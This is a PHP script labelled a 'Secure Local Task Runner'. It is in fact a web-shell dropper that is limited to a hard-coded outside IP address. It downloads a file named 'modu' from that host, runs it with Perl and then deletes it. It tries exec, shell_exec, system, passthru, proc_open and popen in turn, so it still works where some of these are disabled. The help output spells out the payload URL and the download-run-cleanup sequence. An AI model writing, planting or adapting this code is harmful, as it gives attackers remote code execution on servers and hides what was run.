<?php

/*
    Secure Local Task Runner (NO arbitrary shell execution beyond controlled commands)
*/

header("Content-Type: text/plain");

/*
    IP allowlist
*/

$ip = $_SERVER['REMOTE_ADDR'] ?? '';

$allowed = [
    '127.0.0.1',
    '::1',
    '192.142.46.219'
];

if (!in_array($ip, $allowed, true)) {
    http_response_code(403);
    exit("Access denied\n");
}

/*
    CONFIG
    Save file in SAME directory as this script
*/

$baseDir = __DIR__;
$fileName = "modu";
$filePath = $baseDir . DIRECTORY_SEPARATOR . $fileName;

/*
    TASK ROUTER
*/

$task = $_GET['task'] ?? '';

/*
    INFO
*/

if ($task === 'info') {
    echo shell_exec("uname -a 2>&1");
    exit;
}

/*
    DOWNLOAD (controlled)
*/

if ($task === 'download') {

    $url = $_GET['url'] ?? '';

    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        exit("Invalid URL\n");
    }

    echo "Downloading...\n";

    $data = file_get_contents($url);

    if ($data === false) {
        exit("Download failed\n");
    }

    $written = file_put_contents($filePath, $data);

    if ($written === false) {
        exit("Failed to write file\n");
    }

    echo "Saved to $filePath\n";
    exit;
}

/*
    RUN PERL (fixed file only)
*/

if ($task === 'run') {

    if (!file_exists($filePath)) {
        exit("File not found: $filePath\n");
    }

    echo "Running Perl script...\n\n";

    $command = "perl " . escapeshellarg($filePath) . " 2>&1";

    if (function_exists('exec') && is_callable('exec')) {

        echo "[Using exec()]\n";

        $output = [];
        $exitCode = 0;

        exec($command, $output, $exitCode);

        echo implode(PHP_EOL, $output) . PHP_EOL;
        echo "\nExit Code: {$exitCode}\n";

    } elseif (function_exists('shell_exec') && is_callable('shell_exec')) {

        echo "[Using shell_exec()]\n";

        $output = shell_exec($command);

        echo $output;
        echo "\nExit Code: Unknown\n";

    } elseif (function_exists('system') && is_callable('system')) {

        echo "[Using system()]\n";

        $exitCode = 0;
        system($command, $exitCode);

        echo "\nExit Code: {$exitCode}\n";

    } elseif (function_exists('passthru') && is_callable('passthru')) {

        echo "[Using passthru()]\n";

        $exitCode = 0;
        passthru($command, $exitCode);

        echo "\nExit Code: {$exitCode}\n";

    } elseif (function_exists('proc_open') && is_callable('proc_open')) {

        echo "[Using proc_open()]\n";

        $descriptors = [
            0 => ["pipe", "r"],
            1 => ["pipe", "w"],
            2 => ["pipe", "w"]
        ];

        $process = proc_open($command, $descriptors, $pipes);

        if (is_resource($process)) {

            fclose($pipes[0]);

            $stdout = stream_get_contents($pipes[1]);
            fclose($pipes[1]);

            $stderr = stream_get_contents($pipes[2]);
            fclose($pipes[2]);

            $exitCode = proc_close($process);

            echo $stdout;

            if (!empty($stderr)) {
                echo "\n--- STDERR ---\n";
                echo $stderr;
            }

            echo "\nExit Code: {$exitCode}\n";
        }

    } elseif (function_exists('popen') && is_callable('popen')) {

        echo "[Using popen()]\n";

        $handle = popen($command, 'r');

        if ($handle) {
            while (!feof($handle)) {
                echo fgets($handle);
            }
            pclose($handle);
        }

        echo "\nExit Code: Unknown\n";

    } else {

        exit(
            "No process execution functions available.\n" .
            "Checked: exec, shell_exec, system, passthru, proc_open, popen\n"
        );
    }

    exit;
}

/*
    CLEANUP
*/

if ($task === 'cleanup') {

    if (file_exists($filePath)) {
        unlink($filePath);
        echo "Deleted $filePath\n";
    } else {
        echo "Nothing to delete\n";
    }

    exit;
}

/*
    HELP
*/

echo "Secure Task Runner\n";
echo "==================\n\n";

echo "Available tasks:\n\n";

echo "?task=info\n";
echo "?task=download&url=http://192.142.46.219/modu\n";
echo "?task=run\n";
echo "?task=cleanup\n";

echo "\nFlow:\n";
echo "download > run > cleanup\n";
